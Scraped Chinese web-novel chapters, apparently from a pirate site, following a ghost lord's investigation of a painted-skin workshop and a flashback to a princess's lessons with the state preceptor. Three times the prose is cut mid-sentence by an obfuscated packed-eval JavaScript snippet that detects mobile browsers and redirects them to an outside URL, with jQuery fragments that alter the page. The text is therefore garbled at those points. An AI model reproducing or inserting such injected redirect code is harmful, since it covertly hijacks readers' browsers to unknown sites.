见鬼了,真是见鬼了! 主君为什么会在无相城? 还是跟什么劳什子城主在一起?? 渡舟一挥手,上官那身鬼皮褪去,先把诸多疑惑抛之脑后,立刻跪下道:“不知主君在此,属下办事不力,请主君责罚!”又偷偷扯了扯祝鸢的衣角,悄声道:“跪下!” 我也要跪吗? 祝鸢被他带的双膝一弯,渡舟却道:“过来。” 渡舟语气冷淡,祝鸢抬头见他眉尖像是压着一股无名火。 要死要死!上官富贵两眼一闭,哐当磕了个响头,道:“主君息怒!此事与她无关!” 祝鸢觉得上官大人未免太小题大做了,主君又不会吃人。不过如果是鬼界之主…… 祝鸢决定还是不要把这件事告诉上官大人了,免得他被吓死。 她悄悄看渡舟,发现对方神情不大妙。 主君难道是在生气吗? 渡舟起身走到他们身边,轻叹了口气,温声道:“你跪我做什么?” 上官冷不防打了个激灵。 “去那边坐好。” 上官难以置信地睁大眼睛。 又过了片刻,上官听见他那冷面主君的声音轻飘飘从头顶传来—— “我不罚他。” 祝鸢回过头挤眉弄眼,示意上官起来。 这时一直站在旁边眼观鼻鼻观心看热闹的张仙师突然恍然大悟,指着渡舟叫道:“哦我认出来了!你就是那日在乱葬岗捣乱的那个少年吧!” 对方指着上官痛骂道:“你得好好管教管教自己手下!老夫本来都快要将那花钿上的食魂鬼抓到了,都怪他平白跳出来,坏了老夫好事!” 上官道:“少胡说八道了,明明是你看见女鬼就往上扑!” 张仙师面色通红,狡辩道:“老夫那是舍身入局!你懂什么?还不是你大惊小怪!结果着了对方的道儿!” “你!” “闭嘴!吵死了。” 二人不敢再说,渡舟看向上官:“你说。” 上官即刻将他们如何发现九洲城凤尾花钿食魂,又怎么跟这泼皮道人偶遇的原委说明。 他从怀里掏出一枚花钿,正是能食魂的那种凤尾花钿:“属下一路追查,发现无相城内也在流通这种花钿,源头就是人皮坊。” 折杞探身问道:“城内这么多人皮坊,上官大人说的哪家?” “丹青坊!”张仙师叫道,“就是丹青坊在搞鬼!” 折杞微笑道:“原来是丹青坊啊,怪不得上官大人会被我手下几个小鬼抓来了。我猜上官大人是被丹青坊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436997|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女鬼们缠住梳妆,对吗?” 上官面露尴尬,他一路跟随那道人进人皮坊,谁知刚进去便被鱼贯而出的女鬼们按住梳洗打扮。上官何曾受过这等奇耻大辱,又见道人要跑,情急之下二人扭打起来。 但化鬼丹有个坏处,既然化成女鬼,所修术法统统不能再用。 丹青坊主断不能让他们闹事,不知用了什么邪门香粉,总之一闻到那香,人就浑身发软全无招架之力了。 折杞转向渡舟,继续道:“师父有所不知,无相城有位丹青手,善绘人皮。由她所绘人皮无不精美绝伦难辨真假,所以常有年老色衰、或是相貌不足的女子找丹青手画皮,就连人界也有人愿意冒死一试来到无相城,只为求得一副合自己心意的人皮。” 上官听见这位城主的称呼时便心里一哆嗦,怕归怕,又忍不住问:“想必画皮的价钱不菲吧?” 折杞道:“说便宜也便宜,说无价也无价。丹青手画皮,分文不取,但有一个必须承担的代价。” 上官道:“什么代价?” 折杞道:“若是有朝一日心上人对着这副人皮变心,人皮就会日渐腐烂丑陋无比。而作为交换,如果真有这一天,画皮之人需要将自己献给丹青手。那些女子来找丹青手时,无不坚信自己的心上人会坚守诺言永不变心,但到了最后,多半竹篮打水一场空。” 张仙师抢先道:“怪不得!找我那家小姐终日挡着脸,看来人皮已经烂了啊!” 渡舟淡淡道:“愚蠢。若真像她们以为对方不会变心,何必要找丹青手画一张美艳人皮。真心喜欢一个人,皮囊最不值钱。” 折杞哈哈笑道:“还是师父看得明白。” 以物易物,公平交易。 上官忍不住道:“丹青手这买卖做得好好的,为何又要弄些凤尾花钿害人?” 折杞摇摇头,道:“这个我也不知了,你们若想知道,可以同去丹青坊看看。” 上官一抬下巴,示意道:“这尊大佛怎么办?” 折杞和渡舟双双看向张仙师,对方站直身子,大言不惭道:“都看老夫做什么,丹青坊的妖孽自然还得老夫来抓。” 渡舟道:“聒噪。” 折杞道:“好的师父。” 他转头命令道:“带下去,送出无相城。” “老夫身经百战,小小画皮鬼——”张仙师闻言暴跳如雷,难以置信道,“什么!要撵我走!我可是堂堂九洲城第一仙师,你们你们……” 祝鸢眼看着张仙师被越拖越远,心想折杞这个人说话做事倒十分熨贴,看来很合渡舟心意。但不知为什么,祝鸢总觉得渡舟并不大喜欢折杞。 他们一行人照旧往丹青坊去,渡舟方才在众鬼面前用的是张假皮,因此原本这身皮相刚好避开了无相妖主的名头。 长街熙熙攘攘,妖魔遍地走,赤血四处流。 祝鸢刚迈出一步便被渡舟拦下。 又来? 祝鸢躲闪得快,心道:“县令大人教我,事出反常必有妖,又说拿人手短吃人嘴软,主君这反反复复又是抱我又对我笑,实在难以捉摸,索性躲远些好。” 渡舟没说什么,挥了挥袖,只见无数红色花瓣从天而降,如雨丝纷纷扬扬。 众鬼纷纷侧目,祝鸢刚走一步,那花瓣便在她脚下绽放生出。 折杞笑说:“佛经中有步步生莲,无相城便有步步生花。” 渡舟示意祝鸢接着走,问道:“你是什么时候不会说话的?” 他问的是“什么时候不会说话”,上官跟折杞都听出这话中细微差异。 祝鸢正觉得脚下生花好玩儿,闻言低着头比划:“我一直不会说话。” 渡舟温声道:“......没关系,我会让你能开口说话的。” 祝鸢并不十分在乎,因为她本来也没有很爱说话。但渡舟这么说,祝鸢很高兴,心想这回她没有莲花,渡舟却还这么帮他,于是默默在心里收回了从前说渡舟小气的话。 如果这么算,没有月钱也不是不行…… 丹青坊并不远,但等他们到时,却发现不对劲。 这里人去楼空,除了放在一楼招揽顾客的几个人皮娃娃,剩下的梳妆姑娘们竟都不翼而飞,只留下这么空空的一座人皮坊。 22. 故人归 祝鸢注意到这人皮娃娃绘制的无比精妙,可见执笔之人画工了得,但绘制他们的人应当法力低微,因此这些娃娃有形而无神,只会重复几句简简单单地招徕顾客的场面话。 “小妹妹,里面坐啊。” “公子,里面坐啊。” “公子,想画什么皮?” 这里灯火昏暗,诺大的房间只有这干巴巴的几句鬼话一直回荡,不禁让人毛骨悚然。 渡舟嫌吵,一抬手,那些人皮娃娃便迅速干瘪下去,原来里面是稻草和精铁搭了个假骨架。 上官说道:“主君,丹青手的房间就在上面。” “带路。”渡舟想了想,又牵住祝鸢,低头道,“跟紧我,千万不能离开半步,知道吗?” 好奇怪…… 祝鸢心里有点儿七上八下的,砰砰跳得很快,就像这里上蹿下跳的烛火。 她想起在九洲城里见过的那些牵着手的男男女女,有的年纪相仿,有的则是爹带闺女,大的牵个小的。 祝鸢想到这里突然梗了一下,她觉得吧,自己应该不至于是主君失散多年的女儿。 走在最前面的上官内心震撼无比,那时在城郊碰见祝鸢,这姑娘勇猛无比跟丹妙都打得有来有回。 同样是下属,主君性别歧视? 但这话上官只敢想,不敢说,他不嫌自己命长。 楼上没有点灯,门窗紧闭,一丝光也透不进来。 上官正伸手摸索着想点个灯,突然摸到一个滑腻冰凉的东西,更可怖的是,那东西竟像蛇一样猛地反握住他的手。 “什么东西装神弄鬼!” 上官抽出折扇反手扇出,三根无比锋利的钢针自扇骨飞出,与此同时他左手一道掌风将门窗封死,掌风带起窗前帷幔飘动。 一汪亮光顷刻间灌进暗室,陡然映出一张惨白的人脸! 上官被这突然出现的人脸吓了一跳,渡舟啧了一声,揽着祝鸢后退半步,挥手点起灯。 “公子脾气好大呀~吓到奴家了。” 一个容貌秀丽的姑娘出现在他们面前,笑意盈盈,长腿柳腰,乃是那种小家碧玉的相貌。 不对,不是人。 祝鸢见方才射出的钢针自她胳膊穿过,那姑娘半边胳膊耷拉着,衣衫也被划破了,却不见流血。且她嘴角一直保持着那诡异的浅笑,眼睛一眨不眨,似乎根本感觉不到痛。 渡舟自然也看出来了,道:“是画中仙。” 画中仙? 渡舟解释道:“画中仙,是以墨汁辅以精血所绘。经由特殊绘制之法,画中人便可像活人一般脱画行走自如,必要时再回到画中安眠。但画中仙就像那些人皮娃娃,就算画得再好也难有灵魂,宛若行尸走肉。这东西并没有什么攻击性,只要把画烧了,画中仙也就不复存在了。” 祝鸢四下张望,指了指墙上一副壁画。 壁画上的女子容貌秀美栩栩如生,更重要的是,跟眼前这位画中仙长得一模一样。 渡舟点点头:“就是这幅画。” 折杞道:“既是画中仙,还敢明目张胆将原画放在这里。” 上官却道:“......这画,好生眼熟。” 上官一提醒,祝鸢也觉得面前的女子眼熟。她仔细想想,恍然大悟,这不就是他们刚进城时阁楼上给一张人皮描眉的女子吗? “是丹青手!”上官想起来了,那时在楼下遥遥相望,对方又戴着面纱,所以一时间没认出来。 折杞身为城主,自然是见过丹青手的,但不过几面之缘早记不得了,此刻道:“这姑娘确实和那位丹青手长得一样。” 上官道:“唯一的区别,是丹青手看上去妆容艳丽些,打扮也更、更......” “更露骨些。”那女子娇笑道,“这位公子不光粗鲁,还很害羞呢~” 画中仙修好了胳膊,款步行来,走到渡舟面前停下,微微欠身道:“小女瑶姬,见过妖主大人。” 渡舟挑眉道:“你认得我?” 上官眼皮猛地跳了两下,画中仙瞥了面露惊悚的上官一眼,不予理会,浅笑道:“城主大人身份尊贵,他叫您师父,小女自然不会认错。” 渡舟道:“凤尾花钿是你主子搞的鬼。” 画中仙干脆利落道:“不错。” 折杞道:“丹青手,你在无相城买卖做得好好的,还贪图人间几个魂魄做什么?” 画中仙笑道:“大人法力无穷尽,自然不懂我们小鬼过得辛苦。修行之路何其漫长,若能一劳永逸,岂不快活?” 这个理由说勉强也勉强,说不勉强也不勉强,毕竟无论人鬼,谁不渴望强大。 祝鸢看不出这竟然是个贪心鬼,她上前一步,渡舟恰到好处地将她想问的说出来:“魇鬼跟你在搞什么名堂?” “大人问丹妙啊,他说要去做件很重要的事情,大人如果现在动身,说不定还能抓到他。晚了,可就不一定了。” 渡舟唇边扯了抹森然的笑:“不巧,那蠢货刚被我抓到,你们可要见见?” 想来原主子显然没料到这件事,因此画中仙牛头不对马嘴地接话道:“我可以告诉你们丹妙在哪儿,各位大人请上坐。” 画中仙像是站酸了脚,转身软若无骨地坐下,拍拍手,四个无比精致的画中仙从墙上的一副仕女图上飘下来,轻盈无比,转身进屋倒了四盏热茶端上来。 “这是我家主子吩咐的,务必好好招待各位大人。” 说罢又拍拍手,那四个画中仙便身形一跃回墙上去了。 这画中仙到底在打什么算盘? 祝鸢猜不透,见渡舟似乎也没有立马抓她的意思,画中仙道:“妖主大人,我家主子想同你做个交易。” 果然别有所图。 渡舟道:“跟我做交易,可未必是件好事。” 画中仙抿唇一笑:“大人,无相城有一法器,名为鬼门关,能记录来往之魂。若有魂魄留恋世间不愿投胎转世,鬼门关便会将其永久封印,小女子说得对吗?” 祝鸢想起入城之时鬼门关上那些扭曲面孔,就是画中仙口中所言不愿投胎转世的恶鬼了。但这跟画中仙所说交易有什么关系? 渡舟道:“你不想转世?” 画中仙赞许道:“大人果然聪明。” 折杞不解道:“鬼门关又没有脚,只要你不出无相城,不经过鬼门关,就算到了转世之日也不会被吞噬。” 对啊,祝鸢终于知道问题出在哪儿了。 鬼门关就算再厉害,也只是一样法器,不能动不能跑,如果不想被法器吃掉,躲远点儿不就好了,何必如此大费周章要跟渡舟做交易? 除非—— 瑶姬有不能不出无相城的理由。 画中仙沉默片刻,道:“妖主大人,小女子恳求大人放我一条生路,不再被鬼门关所限。” 看来是了。转世本来是无数鬼魂求之不得的机会,人生重来万千可能,谁人不愿?毕竟很多坏事做尽的恶鬼是没机会转世的,但偏偏有鬼魂不肯要这机会,譬如瑶姬。 折杞道:“鬼门关早就封印在无相城门上千年,世间万物皆有定法,岂能由你三言两语更改?再说不愿入轮回的亡魂皆为厉鬼恶煞,怎能容你流向人间?” 画中仙抬眸,讥诮道:“鬼门关,说破大天不就是一副堕神图吗?再说堕神图本就不是无相城的东西,而是几千年前无相渊鬼王成业炼出的一样法器,名为魂变。魂变展开是一幅堕神图,画的是女鬼旱魃。他将无相渊游离的亡魂尽数封印在堕神图上,随着亡魂越来越多,那幅画也越来越厉害,能脱离画卷食人生魂入画。妖主大人,我说得可对?” 传说旱魃长得凶神恶煞,威力无穷,走到哪里哪里便会连年大旱,寸草不生。 但这幅图上的旱魃却完全不是传说中那样,眉目低垂,宛如神女临世。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442398|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡舟道:“那你也应当知道,魂变戾气极重,不可能销毁。” 画中仙无所谓道:“我不知道魂变是如何被妖主大人捡到的,我猜大人毁不掉它,颇费了些心思转换魂变属性,将食人生魂改成记录来往之魂魄,又将其封入无相城城门。但大人当年既然有办法让魂变不再随意食魂,我想,从大人手底下放跑我一个小鬼,也不是什么难事吧?” 瑶姬到底为何如此笃定渡舟一定会帮她? 祝鸢还未想明白,画中仙的身形突然开始变得模糊透明,她面色苍白,嘴唇微张,笑道:“妖主大人,你先别急着回绝,可打开堕神图看看,我家主子为你备了份厚礼。” 话音刚落,画中仙忽然消失不见了,而她留下的最后一句话却还回想在这小小的丹青坊上空—— “大人,记得打开堕神图一观呐~” 折杞道:“瑶姬身形已散,应是画中仙耗尽法力,来不及回到画中了。” 渡舟道:“不,她没想过要回去。” 折杞问道:“师父的意思是,她在故意拖延时间?” 这时有两名鬼差进来在折杞耳边低声说了句话,折杞抬头微笑道:“师父,真正的丹青手抓到了,就在楼下。” 祝鸢跟随渡舟下楼,果然如上官所说,丹青手和方才的画中仙长得一模一样。 若说画中仙是人界的闺中小姐打扮,真正的瑶姬便是鬼界常见的鬼姬面容。上身是缀满银珠叮铃作响的露腰抹胸,下身是条张扬的红色襦裙,艳丽非常。 瑶姬一见渡舟,魅惑一笑:“大人,怎么还不打开堕神图,怕了?你难道不想抓住丹妙?” 折杞皱眉道:“师父,她在激你。” 渡舟道:“耍什么把戏,看看不就知道了。” 说罢,渡舟双目微闭,轻轻转动骨笛,万千妖鬼气息自骨笛飘散而出。 不多时,一卷泛黄的画轴便落进他左手掌心。 无数尖利的鬼声自那卷轴而出,凄厉惨绝不绝于耳,怨气之重,阴气之盛。 渡舟睁开眼睛,这些鬼哭狼嚎之声终于渐渐消散。 祝鸢猜渡舟手中就是堕神图原身,渡舟既能信手取来,想必鬼门关并不会因此受影响。 瑶姬见此图,眼前一亮,眸光透着股狡黠,抚掌叫道:“不愧是妖主大人!” 渡舟看向堕神图,他能感觉到画卷中和平常一样怨灵翻涌嘶吼阵阵。但似乎是有些不一样的,到底是哪里不一样...... 瑶姬仍催促不停:“快打开,打开看看。” 祝鸢直觉这东西不能打开,刚想阻止渡舟,瑶姬突然气急败坏道:“磨磨唧唧,真麻烦!既然大人不敢打开,我帮你!” 一阵阴风卷入,丹青坊大门砰地一声合上。 堕神图突然不受控制地滚落在地,卷轴如长河自大殿上倾泻而下,不知是不是错觉,每展开一寸这殿内的温度便低些。 只听万千鬼声低鸣,那是封在其中的厉鬼想要脱画而出,但又被渡舟法力所压不得自由。 渡舟并未急着去捡,泰然道:“打开了,又当如何?” 瑶姬阴笑道:“大人莫急,您瞧。” 堕神图此时已完全展开,只见一红衣女子自画卷最角落翩然而出。 折杞不由惊道:“厉鬼脱画!” 那女子长发及腰,赤着一双雪白的足,腕间挂着一对金铃,手中握着一柄黑色长剑,缓慢转过身来—— 这下折杞再也坐不住了,险些从椅子上跌落,惊呼道:“昭姐姐!” 女子美得摄人心魄,宛若谪仙,一双眼黑白分明,如雪水深潭。 眼前人墨发如云,红衣翻飞,偏偏神色清冷毫无鬼气,一时好似仙人堕魔,邪性四溢。 渡舟在那女子脱画而出时已然神色大变,祝鸢从未见过渡舟如此神情。等女子转过身,渡舟仿佛心肝俱裂,颤声叫道—— “殿下!” 23. 论道 “殿下!” “殿下您慢些走!!” 昨夜刚下过一场大雨,将山间长满青苔的石板冲刷得愈发光滑如镜,翠色欲滴。 一片湛青的袍角似一阵山风从石板上一跃而过,只留下一个欢快娇俏的声音—— “再慢些就赶不上早课了!” 身穿青衣的是个十一二岁的少女,腕上银镯作响,发间珠钗晃动,她边跑边回头,一双带笑的眼眸像浸于谭底的墨石。 青衣浮动,雪山云雾,好似一副流动的水墨画。 少女又喊道:“流筝姐姐!你太慢啦,我先走,你后来!” 身后的女子比她长些年岁,已累得气喘吁吁,此刻忙唤道:“殿下不可!您等等我!” 可等她再往前追上些,早已不见人影,只余林间鸟鸣阵阵空灵。 此山名为苍界山,乃是周朝开国皇帝周武故居,山中建有皇家寺庙灵念寺,千百年来香火不断。 当朝天子宣庆帝有三子,仅有一女。据说那幼女出生时天降七彩祥云,百鸟绕殿半日方离,天子对其疼爱有加,赐名周昭,册封为明鸢公主,取“日升月恒,鸢飞戾天”之意。 明鸢公主满月时,来了位白发道人,言公主殿下眉宇间有当年武帝风姿。 宣庆帝大喜,召此人入宫,后又见其文韬武略皆不输朝臣,胸有治国之论,便拜为国师。 国师喜静,天子特许其住在这苍界山,明鸢殿下五岁时便被送来山中跟随国师念书修习,方才在山间疾跑的少女便是当今天子独女——周昭。 每逢初一十五,是周昭回宫住的日子。 昨夜大雨,皇后娘娘心疼爱女,特命轿辇将公主送到山上。谁知轿子刚到山脚,周昭便带着侍女跑上山了,说是怕误了时辰。 此刻周昭见灵念寺就在眼前,不敢懈怠,急匆匆地往寺中去了。 苍界山高而险,钟声悠扬回荡山野,惊起一片飞鸟。 皇家寺院并非人人都能来上香,加之国师授课在后院,周昭一路沿阶行来并没有碰见很多人,只有寺院中洒扫师傅冲她安静作揖行礼,周昭很是周到地一一回礼问候,脚下却不敢停。 口中一连串“大师早”“大师让一让”顺口溜似地喊过去,鞋袜已沾湿了一层朝露。 周昭虽然身份尊贵,偶尔顽皮,却不顽劣,寺中人人都很喜欢这位小公主。等周昭到了致学堂,堂内除了她都已到齐了,方才那阵钟声便是授课钟响。 堂上坐着一个满头白发的男子,此刻微微抬头,竟很是年轻俊朗。 年纪约莫三十,眉眼温润,发丝半束,浑身散发出让人不敢近身的神性,只是似有病气缠身,略显倦色,人不大有精神。 他柔声说道:“明鸢,你来迟了。” 这位便是周朝国师——江梅棠。 他常于苍界山布道行医,因此颇受百姓爱戴。但江梅棠却是周昭除了宣庆帝外最怕之人。 只因他每每越是温柔,罚得便越狠。只见他抬起手,指了指左边角落的蒲团,道:“自行领罚去。” 他的手指细长且苍白,像冷玉微润煞是好看,但周昭知道那双手打起人来也是十分疼的,只好垂首答道:“是,师父。” 周围传来窃笑声,为首的是个浓眉大眼,桀骜不驯的少年。他难得见周昭挨罚,不由窃笑,刚笑出声便暗道一声要遭。 果然,江梅棠轻声点道:“谢景殿下。” 谢景被罚跪在周昭旁边,心中十分不服气,却又不敢反驳,只得乖乖跪好。 不过他和周昭的跪姿可谓一个天上一个地下,周昭就算跪着,上半身也挺得笔直,好像背上插着块铁板。谢景就不同了,东倒西歪,不忍直视。 江梅棠目光扫过来,好似没看见谢景那副模样,反对着周昭说道:“明鸢,我常罚你,心中可有了计较?” 我敬着师父都来不及,怎么敢有计较。 周昭忙答道:“不曾。” 江梅棠没再接话,开始讲起了今日课业。 他不论讲课还是罚人,声音总是淡淡的,虽让人难以亲近,但论学识周朝无人能出其右,甚至有些小国为了让皇子能跟在江梅棠身边读书,特意选将来能继承大统的皇子来周朝拜在江梅棠门下。 谢景便是这种了。他是黎国皇子,与周昭一起长大。 谢景见江梅棠没再注意他们这边,压低声音道:“阿昭,你没觉得老师对你比对我们都严格些吗?” 周昭还未回答,便听见头顶传来一声询问:“谢景殿下,我方才讲了什么?” 谢景抬头,吓得一激灵。他常常怀疑师父长着六只眼睛四只耳,不过是小小声讲了一句话,偏被抓个正着,磕磕绊绊道:“师父说、说......” “师父说,所谓道法,过去不可得,现在不可得,未来不可得。” 谢景感激地看了一眼周昭,一颗心尚未收进肚中,又听江梅棠问道:“何解?” 周昭思索片刻,回答道:“徒儿以为,这话不对。” 话音刚落,课上学子们纷纷低语,谢景忙扯了扯周昭的袖子,低声道:“阿昭,你又想挨罚啦!” 江梅棠反问道:“哦?” 周昭道:“徒儿以为,过去可得现在,现在可得未来。若活在当下,岂不是过去、现在、未来,皆握于我手?” 她言语间有隐隐傲气,江梅棠也不恼,淡淡道:“道法所言,不论过去、现在、未来,皆是虚妄,意为放下执念,殿下却说一切皆握于你手,一切皆可得。那我问你,若天命要夺走你手中所握,又当如何?” 周昭正色道:“事在人为,不言天命。” 此言掷地有声,江梅棠沉默片刻,道:“今日就到这里,都出去罢。” 这才刚授课没多久便下学了,可是从未有过的事。其他人瞧江梅棠脸色不好,连忙匆匆离去。谢景方才吓得大气也不敢出,赶紧拉着周昭就要站起来,小声道:“快走快走!” “明鸢,你留下。”江梅棠道。 谢景心道,周昭啊周昭,你自求多福吧。他十分同情地看了周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455516|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭一眼,独自离开了。 等学堂只剩下江梅棠师徒二人,江梅棠才问道:“知道我为何留你吗?” 周昭低头道:“徒儿说错话,惹师父生气了。” 江梅棠无奈笑道:“师父原是这么小气的人吗?” 他几乎从来不笑,周昭简直不敢相信自己的耳朵,彷佛方才那声低笑只是她的错觉,忙摇头道:“徒儿不是这个意思,我、我......” 到底年纪还小,方才论道时自信张扬,眼下却急得语无伦次,生怕江梅棠恼了。 “事在人为,不言天命。”江梅棠道,“明鸢,你年纪还小,不明白总有些事情是你不能握在手中的。” 周昭想了想,大着胆子道:“若我偏要呢?” 江梅棠看向她:“你想握住什么?” 少女仰起脸道:“我要百姓安居乐业,朝堂无小人,在野无叛乱,我要周朝千秋万代!” 周昭说完有些面色微红,眼神却不失坚定。江梅棠久久没有言语,半晌,喃喃道:“我没有找错人。” 周昭面露疑惑之色:“师父,你说什么?” 江梅棠抬起手,轻轻抚了抚她的头顶,温声道:“没什么,出去玩儿吧。” 等周昭从学堂出来时,还沉浸在方才跟江梅棠的谈话中,连谢景走到她跟前都没发现,险些撞上。 谢景十分夸张地哎呦一声,问道:“阿昭,你干嘛呢,魂不守舍的,被吓傻啦?” 周昭看见他就头痛:“没有。” 谢景不依不饶:“那方才老师跟你说什么了?” 周昭道:“师父说......我也不知道师父要说什么。” 谢景翻了个白眼:“我看你是读书读傻啦!你方才那样顶撞师父,连师父骂你的话都记不得了?” 周昭摇摇头,无辜道:“师父不曾骂我,就......摸了摸我的头,然后让我出来了。” “什么?!”谢景跳起来道,“老师竟然还摸你的头?!” 周昭困惑道:“是啊,有什么问题吗?” 谢景急道:“老师都没有摸过我的头!” 周昭扑哧一声笑出来:“长淮,这有什么好比的,再说你不是不爱听师父讲课吗?” “我......”谢景辩解道,“我是不爱听学,但……反正就是老师偏心!哼!” 他们同在江梅棠身边念书,小孩子难免都希望别人多关注自己些。谢景胜负欲极强,他好像十分生气江梅棠偏心这件事,撇下周昭一个人跑了。 周昭身份尊贵,一同听学的都不怎么敢跟她玩儿,只有谢景天不怕地不怕,与她关系亲近些。 周昭哭笑不得。她从山下一路跑上来,虽然有些累了,却不敢懈怠,照例去庙里的藏书阁温书。 山间微冷,空气湿润,入目皆是翠色。 周昭到了藏书阁,里面空无一人,她正乐得清闲,突然听见一声略带嘲讽的轻笑—— “事在人为,不言天命。你这小女娃,不知天高地厚。” 24. 藏书阁 “谁在那儿?” 周昭穿过厚厚的书架,却见藏书阁轩窗半开,树影微动,树下阴影处正坐着个自在散漫的幼童。 约莫七八岁,嘴里叼着根不知从哪掐来的野草,凤眼微抬,唇无血色,双目颜色极浅,神色全无稚气。 方才那句话就是他说的。 周昭先是一怔,见说话的是这么个小娃娃,不由笑道:“你是何人?” 对方不答,反问道:“小女娃,你当真不信天命?” 他说话并不十分利落,一字一句说得慢,像刚长出牙齿的小儿学语。但他脸上那种目中无人的高傲神情,任凭哪个饶舌学话的孩子都是不会有的。 那声音冷冰冰得淬着寒意,如珠落玉盘,白雨敲瓦,让周昭立在原地一愣。 过了会子,周昭才反应过来眼前只是个孩子。她有意逗弄,歪着头打量道:“我瞧你比我还小,怎地不叫一声姐姐来听?” 对面抬了抬眼皮,从窗台上跳下来。 他穿的是庙里常见的粗布衣服,双肩瘦削,腮边无肉,整个人看起来冷漠得毫无颜色,却走出了无端迫人的气势,淡淡道:“出生时百鸟来贺,都说你是天命之女,却不信天命,真好笑。” 周昭问道:“你认得我?” 此时正好有一只野猫跳到窗台上。 藏书阁地处偏僻,常有野物,周昭早习以为常。那猫通体雪白,只是不大干净。 谁知,对方突然伸手,活像没有人气的鬼魂索命,将白猫举到周昭面前,抬眸讥诮道:“小殿下,你说我现在要是掐死它,对它而言算不算天命?” 周昭此时才惊觉来者不善,眉头紧锁,上前一步道:“猫无辜,你这是做什么?” 幼童傲慢地冷哼一声:“难道天命会看谁无辜,便对谁网开一面吗?小殿下,你还是太年轻了,你那病秧子师父讲道藏着掖着,多没意思,不如我来为你讲完剩下的。” 周昭听他话语古怪,好声劝道:“这位小朋友,你先放开它,好不好?” “别这么叫我!”对方嫌恶道,“小殿下,若我今日不仅要杀猫,还要杀你。此局,何解?” 周昭心里一惊,暗道:“听说南疆有些地方专门用烈性药喂养童子,使其停止生长,武功却其高,难不成这孩子是刺客?” 对方似看穿她心中所想,不屑道:“殿下把自己的命看得太金贵了些,难道想杀你的,就不能是我这种无名之辈吗?看来不给殿下点厉害瞧瞧,殿下是不会说真话的。” 话音刚落,一双无形的大手掐上周昭的脖子,砰地一声贯向身后书架。 周昭腰侧陡然传来一阵剧痛,随之惊恐地发现自己竟动弹不得,拼尽全力才挤出几个字:“......你、你放开......” 幼童将那只猫掐得几欲垂死,周昭脖颈处那只手也越收越紧。 猫无力地翻着眼白,周昭也好不到哪儿去,对方像一头眼泛绿光的野狼,仿佛下一刻就要折断她的脖子饮血。 他不厌其烦地问道:“小殿下,回答我的问题,你当如何破局?” 他的眼神突然卷上一层这个年纪不该有的暴虐,周昭后背跟着起了层薄汗。 “殿下是不是觉得,你身份尊贵,四海之内无人敢忤逆你,无人敢背弃你,你想要什么便能有什么,甚至过去现在未来皆在你手。因为于你而言,你自己就是天命。”幼童道,“我说得对吗?” 他这串话说得流利许多,像是早就在心中打磨了千遍,他对周昭的痛苦视而不见,继续道:“你师父是看透了你的幼稚,不忍点破。” 似乎察觉到她想说什么,掐在喉间的手略松了些,却仍将她桎梏于狭小的书架间。 周昭咳嗽几声,勉力道:“你小小年纪,困于天命二字,着实……着实可怜!” 对方并不为她所激,像个死人般面无表情:“废话少说,你跟这畜生的命都在我手上,你动不得,逃不出,说什么事在人为,不言天命?眼下,我就是你的天命!” 他看着周昭,不耐道:“话说在前头,我的耐心有限,殿下解不出,我便先掐死这畜生,再杀了你。” 周昭平生未遇挫折,身边之人无不众星捧月,这是周昭第一次亲眼看见近在咫尺的危险,但她却出乎意料的没什么惧意,跟在江梅棠身边久了,身上好像也被那修行人的安之若素腌入味儿了。 她痛得厉害,语调却还算平静:“天者,上天之赐。贫者受方寸之隅,富者亦不过盈丈之基。” “命者,自身之途。有人终身囿于尺寸之地,有人却达乎山海之极。你说......是天重要,还是握在自己手上的命重要?” 对方盯着她看了半晌,眼中的阴鸷渐渐化为一片冰冷的残雪消融,剩下一点儿与生俱来的残忍。 “咳咳!你杀了我,张弓无回头路。日后你脚下每一步路,都有我的血,如何?” “……”他漫不经心地笑了笑,“那敢情好,殿下的血,多珍贵啊——” 说着他慢慢松开手,白猫落地仓皇逃窜,周昭一时脱力,靠着书架滑下来狂咳不止。 刚定了定神,幼童突然弯下腰,强硬地捏着周昭的下巴,迫使她抬起头。 他眼中射出骇人精光,又问:“若一个人生来即处地狱牢笼,向前无门,向后无门,向左向右亦无门,我问你,你说的山海又在哪儿?” 周昭动也动不得,一面又觉得屈辱,眼尾晕着一点儿咳出来的泪花和红痕,唇齿间挤出来几个字:“……地狱若无门,山海在尔心。” 树影婆娑,一缕阳光悄悄爬进窗户,如碎金般洒在那幼童脸侧。 对方眯起眼睛咂摸半晌,大手一挥丢开她,扔下一句:“我的命贱,也没长心。既然殿下不信命,我乐得看看殿下如何握住这山高海阔。” 周昭好容易顺了口气咽下去,再抬头,眼前只剩满窗翠色不见人影。 